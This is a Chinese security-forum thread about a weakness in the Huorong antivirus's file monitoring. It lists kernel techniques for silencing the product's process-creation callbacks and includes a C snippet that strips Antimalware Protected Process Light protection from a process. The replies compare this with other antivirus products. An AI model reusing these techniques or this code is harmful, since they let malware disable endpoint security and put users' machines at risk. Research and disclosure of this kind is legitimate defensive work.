火绒文件监控BUG

显示全部楼层 · 发表于 2020-7-26 19:40:48

本帖最后由 Yuki丶于 2020-7-26 21:34 编辑

1.这是之前(几个月前)偶然一次操作发现的今天火绒群群友刚好又在讨论如何关闭/禁用火绒于是就有了这篇帖。

先来说说是怎么发现的吧:
在虚拟机测试PspNotifyEnableMask动态禁用通知时发现原本火绒监控能查杀的样本突然不检测了(压缩包解压),后来用WKE(Windows-Kernel-Explorer) 关闭通知结果也是一样的后面就发现火绒靠的CreateProcess实现的监控

如何干掉它呢(举几个例子):
1.动态定位PspNotifyEnableMask 改0 (PsSetLoadImageNotifyRoutineEx->PspNotifyEnableMask)
2.枚举CreateProcess 移除/修改火绒注册的通知 (PsSetCreateProcessNotifyRoutineEx->PspSetCreateProcessNotifyRoutine->PspCreateProcessNotifyRoutine)

甚至还可以用火绒的CreateProcess来安排他自己(CreateInfo->CreationStatus = STATUS_VIRUS_INFECTED):

顺便说说怎么干掉AM-PPL(Antimalware Protected Process Light technology):

ULONG Protection = 0, SignatureLevel = 0, SectionSignatureLevel = 0, MitigationFlags = 0;
Protection = *(ULONG*)((PUCHAR)PsGetProcessProtection + 2);
MitigationFlags = *(ULONG*)((PUCHAR)PsIsWin32KFilterEnabledForProcess + 2);
SignatureLevel = *(ULONG*)((PUCHAR)PsGetProcessSignatureLevel + 15);
SectionSignatureLevel = SignatureLevel + 1;
PUCHAR pProtectValue = (PUCHAR)EProcess + Protection;
PS_PROTECTION PsProtect = { 0 };
PsProtect.Flags.Signer = PsProtectedSignerNone;
PsProtect.Flags.Type = PsProtectedTypeNone;
*pProtectValue = PsProtect.Level;
PMITIGATION_FLAGS pFlags2 = (PMITIGATION_FLAGS)((PUCHAR)EProcess + MitigationFlags);
pFlags2->DisableDynamicCode = 0;
PSE_SIGNING_LEVEL pSignLevel = (PSE_SIGNING_LEVEL)((PUCHAR)EProcess + SignatureLevel);
PSE_SIGNING_LEVEL pSignLevelSection = (PSE_SIGNING_LEVEL)((PUCHAR)EProcess + SectionSignatureLevel);
*pSignLevel = *pSignLevelSection = SE_SIGNING_LEVEL_UNCHECKED;

复制代码

PPL其实用处不大 R0该怎么搞还是怎么搞只能防一下R3

显示全部楼层 · 发表于 2020-7-26 20:09:39

拜见姥姥

显示全部楼层 · 发表于 2020-7-26 20:30:16

这不就是驱动层对抗了嘛

显示全部楼层 · 发表于 2020-7-26 20:33:56

驱动对抗，各杀软估计都难抗衡！

显示全部楼层 · 发表于 2020-7-26 20:37:57

@wowocock 来发表下意见？

显示全部楼层 · 发表于 2020-7-26 20:42:09

MagicFuzzX 发表于 2020-7-26 20:30
这不就是驱动层对抗了嘛

驱动可以不加载(返回加载失败

显示全部楼层 · 发表于 2020-7-26 20:43:52

Yuki丶发表于 2020-7-26 20:42
驱动可以不加载(返回加载失败

你StartService就应该被拦截了吧，跟DriverEntry返回什么没关系吧

显示全部楼层 · 发表于 2020-7-26 21:13:51

拜见姥姥

显示全部楼层 · 发表于 2020-7-26 21:16:02

本帖最后由 Yuki丶于 2020-7-26 21:29 编辑

MagicFuzzX 发表于 2020-7-26 20:43
你StartService就应该被拦截了吧，跟DriverEntry返回什么没关系吧

并没有拦截...(火绒默认设置是不拦截的

显示全部楼层 · 发表于 2020-7-26 21:30:12

KeepSky 发表于 2020-7-26 20:33
驱动对抗，各杀软估计都难抗衡！

我还测过eset eset没这个问题

[技术原创] 火绒文件监控BUG

本帖子中包含更多资源

本帖子中包含更多资源